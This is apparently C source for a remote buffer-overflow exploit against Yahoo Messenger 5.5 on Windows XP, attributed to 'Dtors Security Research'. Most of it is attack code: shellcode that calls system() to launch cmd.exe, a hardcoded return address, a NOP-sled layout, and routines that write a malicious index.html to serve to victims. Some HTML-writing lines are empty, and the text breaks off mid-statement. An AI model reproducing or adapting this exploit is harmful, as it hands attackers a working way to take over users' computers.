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Yahoo Messenger v5.5 Remote Exploit (DSR-ducky.c)
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* Version TXT Disponible ici *
/*
*
* ---[ Remote yahoo Messenger V5.5 exploiter on Windows XP ]---
*
* Dtors Security Research (DSR)
* Code by: Rave
*
* The buffer looks like this
*
* |-<-<-<--|
*
* ^__________^
*
*
*/
#include
#include
#include
#include
#include /* These are the usual header files */
#include
#include
#include
#define MAXDATASIZE 555 /* Max number of bytes of data */
#define BACKLOG 200 /* Number of allowed connections */
static int port =80;
/* library entry inside msvcrt.dll to jmp 0xc (EB0C); */
char sraddress[8]="\x16\xd8\xE8\x77";
/* This shellcode just executes cmd.exe nothing special here..
* the victim gets a cmd shell on his desktop :) lol ! \
*/
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
"\x44\x80\xbf\x77" // 0x78bf8044 <- adress of system()
"\xff\xd0"; // call system()
static int port;
void Usage(char *programName)
{
printf("\n\t\t---------------------------------------------------\n");
printf("\t\t\t\tDtors Security Research (DSR) \n");
printf("\t\t\t\tCode by: Rave\n");
printf("\t\t\t\tMail: \n");
printf("\t\t---------------------------------------------------\n\n");
/* Modify here to add your usage message when the program is
* called without arguments */
printf("\t\t---------------------------------------------------\n\n");
fprintf(stdout,"\t\t-P local webserver server portnumber\n");
fprintf(stdout,"\t\t-g greatz to:\n\n\n\n\n");
printf("\t\t---------------------------------------------------\n\n");
}
/* returns the index of the first argument that is not an option; i.e.
does not start with a dash or a slash
*/
int HandleOptions(int argc,char *argv[])
{
int i,firstnonoption=0;
for (i=1; i< argc;i++) {
if (argv[i][0] == '/' || argv[i][0] == '-') {
switch (argv[i][1]) {
/* An argument -? means help is requested */
case '?':
Usage(argv[0]);
break;
case 'P':
port=atoi(argv[i+1]);break;
case 'H':
if (!stricmp(argv[i]+1,"help")) {
Usage(argv[0]);
break;
}
/* If the option -h means anything else
* in your application add code here
* Note: this falls through to the default
* to print an "unknow option" message
*/
/* add your option switches here */
default:
fprintf(stderr,"unknown option %s\n",argv[i]);
break;
}
}
else {
firstnonoption = i;
break;
}
}
return firstnonoption;
}
int main(int argc,char *argv[])
{
FILE *fptr;
unsigned char buffer[5000];
int offset=320; // <-- the offset off the buffer = 320 x NOP; (At 321 whe begin the instruction pointer change)
int fd,fd2 ,i,numbytes,sin_size; /* files descriptors */
char sd[MAXDATASIZE]; /* sd will store send text */
struct sockaddr_in server; /* server's address information */
struct sockaddr_in client; /* client's address information */
struct hostent *he; /* pointer for the host entry */
WSADATA wsdata;
WSAStartup(0x0101,&wsdata);
if (argc == 1) {
/* If no arguments we call the Usage routine and exit */
Usage(argv[0]);
return 1;
}
HandleOptions(argc,argv);
fprintf(stdout,"Creating index.html: ");
if ((fptr =fopen("index.html","w"))==NULL){
fprintf(stderr,"Failed\n");
exit(1);
} else {
fprintf(stderr,"Done\n");
}
// memseting the buffers for preperation
memset(sd,0x00,MAXDATASIZE);
memset(buffer,0x00,offset+32+strlen(shellcode));
memset(buffer,0x90,offset);
// whe place the a jmp ebp+0x3 instuction inside the buffer
// to jump over the eip changing bytes at the en offset
//
// jmp 0x3
// |____________^
buffer[offset-4]=0xeb;
buffer[offset-3]=0x03;
memcpy(buffer+offset,sraddress,4);
memcpy(buffer+offset+4,shellcode,strlen(shellcode));
// here whe make the index.html
// whe open it again if some one connects to the exploiting server
// and send it over to the victim.
fprintf(fptr,"",0x22,0x22);
fprintf(fptr,"");
fprintf(fptr,"Oohhh my god exploited\n");
fprintf(fptr,"",0x22,0x22);
fprintf(fptr,"");
fprintf(fptr,"",
0x22,0x22,0x22,0x22,0x22,0x22);
fprintf(fptr,"Dtors Security Research (DSR)\n");
fprintf(fptr,"Yah000 Messager Version 5.5 exploit.... \n");
fprintf(fptr,"");
fprintf(fptr," |
